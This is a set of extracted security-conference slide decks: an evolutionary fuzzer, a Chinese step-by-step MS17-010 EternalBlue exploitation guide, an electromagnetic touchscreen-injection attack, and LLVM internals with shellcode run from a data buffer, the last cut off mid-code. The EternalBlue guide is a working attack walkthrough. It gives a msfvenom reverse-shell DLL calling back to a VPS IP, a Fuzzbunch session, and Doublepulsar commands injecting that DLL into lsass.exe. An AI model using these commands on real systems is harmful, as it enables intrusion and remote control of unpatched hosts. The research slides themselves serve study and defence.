ET Problems Flag problem == flat landscape. Resort to random search void flag_example(int a, int b)‏ { int flag = 0; if (a == 0)‏ flag = 1; if (b != 0)‏ flag = 0; if (flag)‏ //target } Deceptive problems double function_under_test (double x)‏ { if (inverse(x) == 0 )‏ //target } double inverse (double d)‏ { if (d == 0)‏ return 0; else return 1 / d; } Evolutionary Fuzzing System McMinn and Holcombe (U.o.Sheffield) are working on solving ET problems [2] 2006 paper on Extended Chaining Approach Our approach is different for two reasons: Grey-box, so no source code needed Application is being monitored while test cases are being discovered. Fuzzing heuristics are used in mutations. This equals real-time testing. Crash files are written while evolution continues. Also includes reporting capability. Seed file helps with some of the traditional ET problems, though still rough fitness landscape. Section 2: A Novel Approach Evolutionary Fuzzing System Evolutionary Testing EFS uses GA’s, but does not require source code Fuzzing EFS uses GPF for fuzzing PaiMei EFS uses a modified version of pstalker for code coverage EFS: A System View GPF PaiMei Debugger Target Process Mysql Each Generation Apache .php Reporting In Browser C code Python code EFS: GPF - Stalker (PaiMei) Protocol GPF initialization/setup data PaiMei Ready PaiMei <GPF carries out communication session with target> GPF {OK|ERR} PaiMei <PaiMei stores all of the hit and crash information to the database> EFS: How the Evolution works GA or GP? Variable length GA. Not working to find code snippets as in GP. We’re working with data (GA). Code coverage + diversity = fitness function The niching or speciation used for diversity is defined later Corollary 1: Code coverage != security, but < 100% attack surface coverage == even less security Corollary 2: 100% attack surface coverage + diverse test cases that follow and break the protocol with attack/fuzzing heuristics throughout == the best I know how to do EFS: How the Evolution works (cont.)‏ Any portion of the data structures can be reorganized or modified in various ways But not the best pool or the best session/pool Elitism of 1 All evolutionary code is 100% custom code Session Crossover Session Mutation Pool Crossover Pool Mutation EFS: Data Structures Pool 0 Token 3 Leg 1 Session 0 Pool 1 Token 1 Leg 1 Session 0 EFS: Session Crossover A B A’ B’ EFS: Session Mutation A ASCII_CMD “USER” ASCII_SPACE “ ” ASCII_CMDVAR “Jared” Binary 0xfe839121 Len 0x000a A’ ASCII_CMD “USER” MIXED “ ” ASCII_CMDVAR “Ja%n%n %n%nred” Binary 0xfe839121 Len 0x000a WRITE READ WRITE WRITE EFS: Pool Crossover B A B’ A’ EFS: Pool Mutation B A B’ A’ Simple Example of Maturing EFS Data GENERATION 1 S1: “USER #$%^&*Aflkdsjflk” S2: “ksdfjkj\nPASS %n%n%n%n” S3: “\r\njksd Jared9338498\d\d\xfefe” ... GENERATION 15 S1: “USER #$%\n PASS %n%n%n%n\r\njksd” S2: ”PASS\nQUIT NNNNNNNNNN\r\n” S3: “RETR\r\nUSER ;asidf;asifh; kldsjf;kdfj” ... EFS: GPF –E Parameters Mysql Host, mysql user, mysql passwd ID, generation PaiMei host, PaiMei port, stalk type Playmode, host, port, sport, proto, delay, wait Display level, print choice Pools, MaxSessions, MaxLegs, MaxToks, MaxGenerations, SessionMutationRate, PoolCrossoverRate, PoolMutationRate UserFunc, SeedFile, Proxy Seed File SMTP HELO Mail from: [email protected] Rcpt to: root Data “Hello there” \r\n.\r\n EHLO RSET QUIT HELP AUTH BDAT VRFY EXPN NOOP STARTTLS etc. FTP USER anonymous PASS [email protected] CMD PASV RETR STOR PORT APPE FEAT OPTS PWD LIST NLST TYPE SYST DELE etc. EFS: Stalker Start-up Sequence Create and PIDA file using IDApro Load the PIDA file in PaiMei Configure/start test target Stalk by functions or basic blocks Filter common break points Start-up, connect, send junk, disconnect, GUI Allows EFS to run faster Connect to mysql Listen for incoming GPF connection Start GPF in the –E (evolutionary) mode EFS GUI (the PaiMei portion)‏ Section 3: Research Evaluation Benchmarking EFS Attack surface coverage Text and Binary protocols Functions (funcs) vs. basic blocks (bbs)‏ Pool vs. Diversity (also called niching)‏ See benchmarking paper for more details [3] Will be up on vdalabs.com when complete Benchmarking: An investigation into the properties of EFS Develop a tool kit that can be used to test various products Currently the toolkit is simply two network programs used to test EFS’s ability to discover a protocol Clear text (TextServer)‏ Binary (BinaryServer)‏ Intend to insert easy and hard to find bugs, to test 0day hunting ability TextServer Three settings, low (1 path), med (9 paths), high (19 paths)‏ Protocol “Welcome.\r\n Your IP is 192.168.31.103” “cmd x\r\n” “Cmd x ready. Proceed.\r\n” “y\r\n” “Sub Cmd y ok.\r\n” “calculate\r\n” “= x + y\r\n” Aside: Measuring the Attack Surface One example, TextServer on Medium: Startup and shutdown = 137 BBs or 137/597 = 23% of code. Network code = 15 BBs or 15/597 = 3% of code Parsing = 94 BBs or 16% of code. This is the portion of code likely to contain bugs! Total Attack surface = network code + parsing. 109bb or 18% of code. Code accounted for: 137+94bb or 39%. (68+22funcs or 31%)‏ The seed file for TextServer “\r\n” “calculate” “cmd “ “1” “2” “3” “4” “5” “6” “7” “8” “9” Clear Text Results EFS had no trouble learning the language of TextServer.exe Best session was found quickly But the entire attack surface was not completely covered Why? Think “error” or “corner cases” Used pools to increase session diversity. Had some success, but still not 100% In a few slides we see that niching was used as well, and did better than pools, but still not 100% BinaryServer Will be similar to TextProtocol, but binary format Binary Protocol Results Lengths shouldn't be too much trouble as EFS/GPF has a tok type for lengths Initial tests support this Hashes are not yet implemented in GPF Binary protocol not yet implemented/tested Functions vs. Basic Blocks For applications with few functions, basic blocks should be used For more complex protocols, functions suffice and increase run speed Low, Funcs, 1 Pool: Best Session: 4/6 or 66% Low, BBs, 1 Pool: Best Session: 40/37 or 100%+ Funcs vs. BBs (cont.)‏ Med, BBs, 1 Pool: Best Session: 47/37 or 100%+ Diversity Peak: 83/94 or 88% Med, Funcs, 1 Pool: Best Session: 6/6 or 100% Diversity Peak: 20/22 or 90% Testing the effects of Pools Pools work to achieve better session diversity Also achieved better crash diversity in gftp Didn't achieve 100% coverage of attack surface Case study at the end will show the positive affects of pools Comparing and adding to niching Niching (or Speciation) ‏ to Foster Diversity Recently implemented so grab the new stuff off vdalabs.com Provides a fitness boost for sessions and pools that are diverse when compared to the best Fitness = Hits + ( (UNIQUE/BEST) * (BEST-1) )‏ Hits: code coverage, funcs or bbs UNIQUE: number of hits not found in the best session BEST: Session or Pool with the best CC fitness Diversity in Action S1: 10 hits - (a, b, c, d, e, f, g, h, i, j)‏ S2: 7 hits - (a, b, d, e, f, g, h)‏ S3: 5 hits - (v, w, x, y, z)‏ Final fitnesses: S1: 10 +( (0/10) * 9) = 10 S2: 7 + ( (0/10) * 9) = 7 S3: 5 + ( (5/10) * 9) = 9.5 Same for pools Pools and Diversity High, BBs, 1 Pool Best Session: 43 Diversity Peak: 80 Downward trend High, BBs, Multi-Pool Best Session: 47 Diversity Peak: 87 Up and down trend High, BBs, Multi-Pool DIVERSITY ON AVG: 46 Total Peak: 107 Up and down trend Section 4: Results Initial Results Golden FTP IIS FTP/SMTP Testing on Real World Code Golden FTP Found lots of bugs IIS FTP and SMTP Found no bugs, but did seem to show some instability in FTP Would lock or die once and a while Plan to test many more Haven't tried any with diversity on yet EFS: Found user & password (outdated picture)‏ EFS: Crash Example (outdated picture)‏ EFS: gftp.exe Results (max) (outdated picture)‏ EFS: gftp.exe Results (avg) (outdated picture)‏ GFTP Pool Effects – Avg over 6 runs Best of Pool and Session Average fitness of pool and session Crash Results – For all Runs 1-pool Crash Total 4-pool Crash Total 10-pool Crash Total Challenges and Future Work Modifying EFS to work on files as well How does its performance compare with existing fuzzing technologies? What is the probability to find various bug types as this is the final goal of this research What bugs can be found and in what software? The fuzzing technology to use seems to depend on the application and general domain robustness (i.e. min work to get a bug)‏ File fuzzing == dumb fuzzing Network apps == Intelligent (RFC aware) fuzzing Challenges and Future Work (cont.)‏ PIDA files are great but a pain Binary could be obfuscated, encrypted, or IDA just doesn’t do well with it. Considered MSR, that there are issues there as well. Speed Auto-detecting the optimal session-wait to determine if funcs or BBs is more parcticle Binary Protocols Need more testing here Normal testing challenges Monitoring, Instrumentation, logging, statistics, etc. References: 1. J. DeMott, R. Enbody, W. Punch, “Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing”, BlackHat and Defcon 2007 2. P. McMinn and M. Holcombe, “Evolutionary Testing Using an Extended Chaining Approach”, ACM Evolutionary Computation, Pgs 41-64, Volume 14, Issue 1 (March 2006)‏ 3. J. DeMott, “Benchmarking Grey-box Robustness Testing Tools with an Analysis of the Evolutionary Fuzzing System (EFS)”, continuing PhD research Thanks to so many! God Family (Wonderful wife and two boys that think I'm the coolest.)‏ Friends BH and DEFCON Applied Security, Inc. Michigan State University JS -- my hacker bug from VDA Labs Arun K. from Infosecwriters.com L@stplace for letting me do CTF with them
pdf
1 MSNV-LNL LxLL 简介 LxLN 漏洞检测 N)msf O)⼯具 LxLO 漏洞利⽤ N)msf exploit/windows/smb/msNV_LNL_eternalblue auxiliary/admin/smb/msNV_LNL_command O)原⽣py P)其他⼯具 EternalPulse 界⾯化⼯具 永恒之蓝漏洞是⽅程式组织在其漏洞利⽤框架中⼀个针对 SMB服务 进⾏攻击的漏洞,该漏洞导致攻击者 在⽬标系统上可以执⾏任意代码。 内⽹中常遇⻅,懂得都懂,本⽂总结了⼀些检测和利⽤的⽅法。 msf ⾥有个模块 auxiliary/scanner/smb/smb_ms17_010 可以进⾏ 单IP / IP段 的 17010 检 测 0x00 简介 0x01 漏洞检测 1)msf 2 有很多监测⼯具,⾃⼰挑顺⼿的就⾏了 sharpSMBScan 公司⼤佬写的 Ladon K8gege 写的内⽹信息搜集⼯具,不只限于 17010 2)⼯具 1 C:\Users\root\Desktop\>SharpSMBScan.exe -h 2 ⻢赛克君 3 IP : SharpSMBScan.exe 192.168.1.1 4 IPS : SharpSMBScan.exe -CIP 192.168.1.1 1 Ladon.exe 192.168.37.1/24 ScanType MS17010 3 msf多个模块可以尝试利⽤ 优点是不需要匿名管道,但容易造成蓝屏 当前测试版本 windows server 2008 R2 x64 0x02 漏洞利⽤ 1)msf exploit/windows/smb/ms17_010_eternalblue 4 可以本地打到vps上 VPS: 开监听 5 本地: 将 LHOST 设置我们 vps 的 IP 6 看到我们 vps 弹回 meterpreter 后就把本地的掐掉,不然让他继续打可能就打蓝屏了 7 执⾏命令的模块,优点是不会蓝屏,但是需要匿名管道( exploit/windows/smb/ms17_010_psexec 同这个模块,都需要匿名管道) 当前测试版本 windows server 2008 R2 x64 auxiliary/admin/smb/ms17_010_command 8 ⽅程式⼯具,来⾃ NAS 武器库,最稳定,需要 python 2.6 环境 当前测试版本 windows 7 sp1 x86 1. ⽣成后⻔⽂件 利⽤ msfvenom ⽣成 dll ⽂件 2)原⽣py 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.119.27 LP ORT=12121 -f dll >17010.dll 9 2. 打开监听 选择对应的payload开监听就完事⼉了 3. 原⽣ py 打 17010 10 启动原⽣ py ⽂件,注意需要 python2.6 的环境 这⾥设置 target ip 设置为有漏洞的⽬标,我新建了⼀个项⽬。 1 [?] Default Target IP Address [] : 192.168.37.5 11 选择 Eternalblue 模块植⼊后⻔,⼀路回⻋ 2 [?] Default Callback IP Address [] : 192.168.37.4 3 [?] Use Redirection [yes] : no 4 5 [?] Base Log directory [D:\logs] : 6 [*] Checking D:\logs for projects 7 [!] Access Denied to 'D:\logs'! Choose a different log directory. 8 9 [?] Base Log directory [D:\logs] : C:\Users\root\Desktop\17010\17 010\shadowbroker\windows\logs 10 [*] Checking C:\Users\root\Desktop\17010\17010\shadowbroker\windo ws\logs for projects 11 Index Project 12 ----- ------- 13 0 Create a New Project 14 15 [?] Project [0] : 0 16 [?] New Project Name : 17010 17 [?] Set target log directory to 'C:\Users\root\Desktop\17010\1701 0\shadowbroker\windows\logs\17010\z192.168.37.5'? [Yes] : 18 19 [*] Initializing Global State 20 [+] Set TargetIp => 192.168.37.5 21 [+] Set CallbackIp => 192.168.37.4 22 23 [!] Redirection OFF 24 [+] Set LogDir => C:\Users\root\Desktop\17010\17010\shadowbroker \windows\logs\17010\z192.168.37.5 25 [+] Set Project => 17010 12 这⾥需要选择对应的操作系统,模式选择 FB 1 [*] Target :: Operating System, Service Pack, and Architecture o f target OS 2 3 0) XP Windows XP 32-Bit All Service Packs 4 *1) WIN72K8R2 Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs 13 ⼜是⼀路的回⻋ 5 6 [?] Target [1] : 7 8 9 [!] Preparing to Execute Eternalblue 10 11 [*] Mode :: Delivery mechanism 12 13 *0) DANE Forward deployment via DARINGNEOPHYTE 14 1) FB Traditional deployment from within FUZZBUNCH 15 16 [?] Mode [0] : 1 17 [+] Run Mode: FB 14 利⽤ Doublepulsar 插件,进⾏ DLL 注⼊ 15 也是⼀路回⻋,⼏个地⽅需要注意,选择对应的就⾏了 RunDLL 设置我们⽤ msfvenom ⽣成的 DLL ⽂件,进⾏注⼊ 1 [*] Protocol :: Protocol for the backdoor to speak 2 3 *0) SMB Ring 0 SMB (TCP 445) backdoor 4 1) RDP Ring 0 RDP (TCP 3389) backdoor 5 6 [?] Protocol [0] : 7 8 [*] Architecture :: Architecture of the target OS 16 ⼀路回⻋以后,成功打回来 9 10 *0) x86 x86 32-bits 11 1) x64 x64 64-bits 12 13 [?] Architecture [0] : 14 15 [*] Function :: Operation for backdoor to perform 16 17 *0) OutputInstall Only output the install shellcode to a b inary file on disk. 18 1) Ping Test for presence of backdoor 19 2) RunDLL Use an APC to inject a DLL into a user m ode process. 20 3) RunShellcode Run raw shellcode 21 4) Uninstall Remove's backdoor from system 22 23 [?] Function [0] : 2 24 [+] Set Function => RunDLL 25 26 [*] DllPayload :: DLL to inject into user mode 27 28 [?] DllPayload [] : C:\Users\root\Desktop\17010.dll 29 30 [+] Set DllPayload => C:\Users\root\Desktop\17010.dll 17 18 提取的原版py,项⽬地址:https://github.com/TolgaSEZER/EternalPulse 可打包传到shell上执⾏,然后利⽤跳板机⾃带的解压缩软件解压 使⽤⽅法和原⽣py⼀样 3)其他⼯具 EternalPulse 1 "C:\Program Files\WinRAR\rar.exe" x c:\test\EternalPulse.rar c:\te st 1 Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 存在17010漏洞的IP --TargetPort 445 --Target WIN72K8R2 1 Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetI p 存在17010漏洞的IP --TargetPort 445 --Protocol SMB --Architecture x 19 我这⾥利⽤的⼀个正向的dll,开启⽬标的6373端⼝ 然后正向连接就⾏了 64 --Function RunDLL --DllPayload x64.dll --payloadDllOrdinal 1 -- ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60 20 还有⼀些界⾯化的⽅程式⼯具,都是⼤同⼩异,利⽤ DLL 注⼊ 界⾯化⼯具
pdf
#BHUSA @BlackHatEvents Invisible Finger: Practical Electromagnetic Interference Attack on Touchscreen-based Electronic Devices Haoqi Shan1, Boyi Zhang1, Zihao Zhan1, Dean Sullivan2, Shuo Wang1, Yier Jin1 1: University of Florida 2. University of New Hampshire #BHUSA @BlackHatEvents Information Classification: General Invisible Finger Remote precise touch events injection attack against capacitive touchscreens using IEMI signal INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General TL;DR § Invisible Finger § Remote precise touch events injection attack against capacitive touchscreens using IEMI signals. § Effective attack distance ~3cm § Can induce short-tap, long-press, omnidirectional swipe gesture § Works on different touchscreen devices, different scanning methods § A practical attack with out-of-sight screen locator and touch event detectors https://invisiblefinger.click #BHUSA @BlackHatEvents Information Classification: General TL;DR § Invisible Finger § Remote precise touch events injection attack against capacitive touchscreens using IEMI signals. § Effective attack distance ~3cm § Can induce short-tap, long-press, omnidirectional swipe gesture § Works on different touchscreen devices, different scanning methods § A practical attack with out-of-sight screen locator and touch event detectors https://invisiblefinger.click INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General TL;DR § Invisible Finger § Remote precise touch events injection attack against capacitive touchscreens using IEMI signals. § Effective attack distance ~3cm § Can induce short-tap, long-press, omnidirectional swipe gesture § Works on different touchscreen devices, different scanning/driving methods § A practical attack with out-of-sight screen locator and touch event detectors INVISIBLE FINGER https://invisiblefinger.click #BHUSA @BlackHatEvents Information Classification: General TL;DR § Invisible Finger § Remote precise touch events injection attack against capacitive touchscreens using IEMI signals. § Effective attack distance ~3cm § Can induce short-tap, long-press, omnidirectional swipe gesture § Works on different touchscreen devices, different scanning methods § A practical attack with out-of-sight screen locator and touch event detector INVISIBLE FINGER https://invisiblefinger.click #BHUSA @BlackHatEvents Information Classification: General INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General Table of Contents § Background § Theoretical Analysis § Precise Touch Events Generation § Road to Practical Attacks § Q&A INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General Table of Contents § Background § Theoretical Analysis § Precise Touch Events Generation § Road to Practical Attacks § Q&A INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General Touchscreen § Capacitive Touchscreen § Self capacitance touchscreen § Mutual capacitance touchscreen INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Touchscreen § Capacitive Touchscreen § Self capacitance touchscreen § Mutual capacitance touchscreen INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Touchscreen § Capacitive Touchscreen § Self capacitance touchscreen § Mutual capacitance touchscreen Mutual capacitance touchscreen (no finger) CM INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Touchscreen § Capacitive Touchscreen § Self capacitance touchscreen § Mutual capacitance touchscreen Mutual capacitance touchscreen (with finger) INVISIBLE FINGER / Background CM #BHUSA @BlackHatEvents Information Classification: General Simplified Touchscreen Design § Charge transfer Charge transfer circuit topology INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Simplified Touchscreen Design § Charge transfer Charge transfer circuit topology charge #BHUSA @BlackHatEvents Information Classification: General Simplified Touchscreen Design § Charge transfer Charge transfer circuit topology charge measure #BHUSA @BlackHatEvents Information Classification: General Simplified Touchscreen Design § Charge transfer Charge transfer circuit topology Control signal of charge transfer time/s INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Simplified Touchscreen Design INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Simplified Touchscreen Design INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Touchscreen under Interference § EMI Noise caused equivalent capacitance change INVISIBLE FINGER / Background #BHUSA @BlackHatEvents Information Classification: General Table of Contents § Background § Theoretical Analysis § Precise Touch Events Generation § Road to Practical Attacks § Q&A INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General Coupling theoretical analysis with actual attack vectors INVISIBLE FINGER / Contributions #BHUSA @BlackHatEvents Information Classification: General QT Sensor under Attack § What makes QT (charge transfer) sensor recognize a touch? § Threshold detection voltage value QT Sensor Simplified Circuit QT Sensor Output Voltage (Touched vs IEMI caused) INVISIBLE FINGER / Theoretical Analysis #BHUSA @BlackHatEvents Information Classification: General IEMI Signal § What is the most effective interference signal? § Amplitude and Frequency INVISIBLE FINGER / Theoretical Analysis #BHUSA @BlackHatEvents Information Classification: General IEMI Signal § Validation (Chromebook) Preliminary experiment setup using copper plates (simulation and actual hardware) #BHUSA @BlackHatEvents Information Classification: General When, Where, How § Result collection § Induced touch events or not? § Excitation signal amplitude, frequency? Minimum E field to generate touch events INVISIBLE FINGER / Theoretical Analysis 20V, 140Khz, 1 touch 25V, 140Khz, 2 touch #BHUSA @BlackHatEvents Information Classification: General Table of Contents § Background § Theoretical Analysis § Precise Touch Events Generation § Road to Practical Attacks § Q&A INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General Precise touch events generation and thorough experiments INVISIBLE FINGER / Contributions #BHUSA @BlackHatEvents Information Classification: General Precise Touch Events § Challenges? § Scanning/Driving Methods § Sequential scanning § Parallel scanning § Previous approaches #BHUSA @BlackHatEvents Information Classification: General Precise Touch Events § Challenges? § Scanning/Driving Methods § Sequential scanning § Parallel scanning § Previous approaches #BHUSA @BlackHatEvents Information Classification: General Precise Touch Events § Challenges from different driving mechanism (measured on different row/column) Parallel Driving iPhone 11 Pro Sequential Driving Pixel 2 INVISIBLE FINGER / Precise Touch Events Generation #BHUSA @BlackHatEvents Information Classification: General Precise Touch Events § Precise injection time or precise injected location? Precise Injection Location Precise Injection Time IEMI Start #BHUSA @BlackHatEvents Information Classification: General Precise Touch Events § Challenges from different scanning mechanism (measured on different target devices) Nexus 5X Touchscreen Driving Signal Pixel 2 Touchscreen Driving Signal iPhone 11 Pro Touchscreen Driving Signal #BHUSA @BlackHatEvents Information Classification: General Precise Touch Events § Antenna design Copper Needle Copper Plates Copper Plates Antenna E-Field Simulation #BHUSA @BlackHatEvents Information Classification: General INVISIBLE FINGER / Precise Touch Events Generation Precise Touch Events #BHUSA @BlackHatEvents Information Classification: General INVISIBLE FINGER / Precise Touch Events Generation Precise Touch Events #BHUSA @BlackHatEvents Information Classification: General INVISIBLE FINGER / Precise Touch Events Generation Precise Touch Events #BHUSA @BlackHatEvents Information Classification: General Table of Contents § Background § Theoretical Analysis § Precise Touch Events Generation § Road to Practical Attacks § Q&A INVISIBLE FINGER #BHUSA @BlackHatEvents Information Classification: General Complete practical attack vectors INVISIBLE FINGER / Contributions #BHUSA @BlackHatEvents Information Classification: General Now what? § Established the theoretical background knowledge and actual setup needed for inducing precious touch events. § Missing? § Attacking device is under the table § Phone is randomly located § Phone locator § Attack scenarios § Multiple touches at multiple locations § Even swipe (gesture unlocking) § Touch event detector INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Phone Locator § Locate the phone and know the orientation by placing multiple antennas under the table § The excitation signal from touchscreen leaks info (which row/column pointed at) Parallel Scanning iPhone 11 Pro Sequential Scanning Pixel 2 #BHUSA @BlackHatEvents Information Classification: General Phone Locator § A quick but reliable KNN classifier Evaluation using iPad Pro 2020 INVISIBLE FINGER / Practical Attack Antenna location/screen location transformation matrix #BHUSA @BlackHatEvents Information Classification: General Phone Locator § A quick but reliable KNN classifier Antenna location/screen location transformation matrix Evaluation using iPad Pro 2020 INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Phone Locator § A quick but reliable KNN classifier Evaluation using iPad Pro 2020 INVISIBLE FINGER / Practical Attack Antenna location/screen location transformation matrix #BHUSA @BlackHatEvents Information Classification: General iPad Pro 2020 reduced scan without IEMI failed IEMI attack successful IEMI attack Touch Event Detector § Scanning signal behaves different if a successful touch event is recognized by touchscreen controller INVISIBLE FINGER / Practical Attack IEMI Signal Extra active scanning #BHUSA @BlackHatEvents Information Classification: General Attack Scenarios § Click based attack § Malicious application installation (Android) § Malicious Bluetooth peripheral connection (iOS) § Gesture based attack § Send messages (bank fraud message) § Send money (press-and-hold on PayPal icon) § Unlock phone (omnidirectional gesture unlocking) INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Attack Scenarios § Click based attack § Malicious application installation (Android) § Malicious Bluetooth peripheral connection (iOS) § Gesture based attack § Send messages (bank fraud message) § Send money (press-and-hold on PayPal icon) § Unlock phone (omnidirectional gesture unlocking) INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Attack Scenarios § Click based attack § Malicious application installation (Android) § Malicious Bluetooth peripheral connection (iOS) § Gesture based attack § Send messages (bank fraud message) § Send money (press-and-hold on PayPal icon) § Unlock phone (omnidirectional gesture unlocking) INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Attack Scenarios § Click based attack § Malicious application installation (Android) § Malicious Bluetooth peripheral connection (iOS) § Gesture based attack § Send messages (bank fraud message) § Send money (press-and-hold on PayPal icon) § Unlock phone (omnidirectional gesture unlocking) INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Attack Scenarios § Click based attack § Malicious application installation (Android) § Malicious Bluetooth peripheral connection (iOS) § Gesture based attack § Send messages (bank fraud message) § Send money (press-and-hold on PayPal icon) § Unlock phone (omnidirectional gesture unlocking) INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Mitigations § Pressure detection (Vendors) § Faraday Fabric (Customers) INVISIBLE FINGER / Practical Attack #BHUSA @BlackHatEvents Information Classification: General Q&A Questions? https://invisiblefinger.click INVISIBLE FINGER / QA
pdf
Introduce LLVM from a hacker's view. Loda chou. [email protected] 2012/07/02 1  I am Loda.  Work for 豬屎屋 (DeSign House).  Be familiar for MS-Windows System and Android/Linux Kernel.  Sometimes…also do some software crack job.  Like to dig-in new technology and share technical articles to promote to the public.  Motto  The way of a fool seems right to him ,but a wise man listens to advice. (Proverbs 12:15) Who am I? 2  Created by Vikram Adve and Chris Lattne on 2000  Support different front-end compilers (gcc/clang/....) and different languages (C/C++,Object-C,Fortran,Java ByteCode,Python,ActionScript) to generate BitCode.  The core of LLVM is the intermediate representation (IR). Different front-ends would compile source code to SSA-based IR, and traslate the IR into different native code on different platform.  Provide RISC-like instructions (load/store…etc), unlimited registers, exception (setjmp/longjmp)..etc  Provide LLVM Interpreter and LLVM Compiler to run LLVM application. What is LLVM? 3 Let's enjoy it. 4 Android Dalvik RunTime Dalvik ByteCode Framework in JAR Dalvik ByteCode AP in dex/odex Partial Dalvik AP implemented in Native .so Linux Kernel Java Native Interface Native .so library Dalvik Virtual Machine 5  Per-Process per-VM  JDK will compile Java to Sun’s bytecode, Android would use dx to convert Java bytecode to Dalvik bytecode.  Support Portable Interpreter (in C), Fast Interpreter (in Assembly) and Just-In Time Compiler  Just-In-Time Compiler is Trace-Run based.  By Counter to find the hot-zone  Would translate Dalvik bytecode to ARMv32/NEON/Thumb/Thumb2/..etc CPU instructions. The features of Dalvik VM 6 LLVM Interpreter RunTime Native .so library Linux Kernel Running by LLI (Low Level Virtual Machine Interpreter & Dynamic Compiler) LLVM BitCode AP 7  Could run llvm-application as the performance of native application  Could generate small size BitCode, translate to target platform assembly code then compiled into native execution file (final size would be almost the same as you compile it directly from source by GCC or other compiler.)  Support C/C++/… program to seamlessly execute on variable hardware platform.  x86, ARM, MIPS,PowerPC,Sparc,XCore,Alpha…etc  Google would apply it into Android and Browser (Native Client) Why LLVM? 8 C/C++ Java BitCode Assembly LLVM Compiler ARM Assembly X86 Assembly ...etc The LLVM Compiler Work-Flows. Fortran clang -emit-llvm llc -mcpu=x86-64 llc -mcpu=cortex-a9 ARM Execution File X86 Execution File gcc arm-none-linux-gnueabi-gcc -mcpu=cortex-a9 9 LLVM in Mobile Device C/C++ Java ByteCode Render Script BitCode BitCode BitCode Application 10 Chromium Browser HTML/Java Script Native Client APP IMC SRPC NPAPI Service Framework Call to run-time framework IMC SRPC Storage Service UnTrust Part Would passed the security checking before execution. Trust Part IMC : Inter-Module Communications SRPC : Simple RPC NPAPI : Netscape Plugin Application Programming Interface LLVM in Browser 11 LLVM Compiler Demo. Use clang to compile BitCode File. [root@localhost reference_code]# clang -O2 -emit-llvm sample.c -c -o sample.bc [root@localhost reference_code]# ls -l sample.bc -rw-r--r--. 1 root root 1956 May 12 10:28 sample.bc Convert BitCode File to x86-64 platform assembly code. [root@localhost reference_code]# llc -O2 -mcpu=x86-64 sample.bc -o sample.s Compiler the assembly code to x86-64 native execution file. [root@localhost reference_code]# gcc sample.s -o sample -ldl [root@localhost reference_code]# ls -l sample -rwxr-xr-x. 1 root root 8247 May 12 10:36 sample Convert BitCode File to ARM Cortext-A9 platorm assembly code. [root@localhost reference_code]# llc -O2 -march=arm -mcpu=cortex-a9 sample.bc -o sample.s Compiler the assembly code to ARM Cortext-A9 native execution file. [root@localhost reference_code]# arm-none-linux-gnueabi-gcc -mcpu=cortex-a9 sample.s -ldl -o sample [root@localhost reference_code]# ls -l sample -rwxr-xr-x. 1 root root 6877 May 12 10:54 sample 12 Let’s see a simple sample code. What is the problems for LLVM? 13  [root@www LLVM]# clang -O2 -emit-llvm dlopen.c -c -o dlopen.bc  [root@www LLVM]# lli dlopen.bc  libraryHandle:86f5e4c8h  puts function pointer:85e81330h  loda LLVM dlopen/dlsymc Sample. int (*puts_fp)(const char *); int main() { void * libraryHandle; libraryHandle = dlopen("libc.so.6", RTLD_NOW); printf("libraryHandle:%xh\n",(unsigned int)libraryHandle); puts_fp = dlsym(libraryHandle, "puts"); printf("puts function pointer:%xh\n",(unsigned int)puts_fp); puts_fp("loda"); return 0; } 14  Would place the piece of machine code as a data buffer to verify the native/LLVM run-time behaviors. Make execution code as data buffer 0000000000000000 <AsmFunc>: 0: 55 push %rbp 1: 48 89 e5 mov %rsp,%rbp 4: b8 04 00 00 00 mov $0x4,%eax 9: bb 01 00 00 00 mov $0x1,%ebx e: b9 00 00 00 00 mov $0x0,%ecx f: R_X86_64_32 gpHello 13: ba 10 00 00 00 mov $0x10,%edx 18: cd 80 int $0x80 1a: b8 11 00 00 00 mov $0x11,%eax 1f: c9 leaveq 20: c3 retq 15 Native Program Run Code in Data Segment int (*f2)(); char TmpAsmCode[]={0x90,0x55,0x48,0x89,0xe5,0xb8,0x04,0x00,0x00,0x00,0xbb,0x01,0x00,0x00,0x00,0xb9,0x4 0,0x0c,0x60,0x00,0xba,0x10,0x00,0x00,0x00,0xcd,0x80,0xb8,0x11,0x00,0x00,0x00,0xc9,0xc3}; char gpHello[]="Hello Loda!ok!\n"; int main() { int vRet; unsigned long vpHello=(unsigned long)gpHello; TmpAsmCode[19]=vpHello>>24 & 0xff; TmpAsmCode[18]=vpHello>>16 & 0xff; TmpAsmCode[17]=vpHello>>8 & 0xff; TmpAsmCode[16]=vpHello & 0xff; f2=(int (*)())TmpAsmCode; vRet=f2(); printf("vRet=:%d\n",vRet); return 0; }  [root@www LLVM]# gcc self-modify.c -o self-modify  [root@www LLVM]# ./self-modify  Segmentation fault 16 Native Program Run Code in Data Segment with Page EXEC-settings int (*f2)(); char 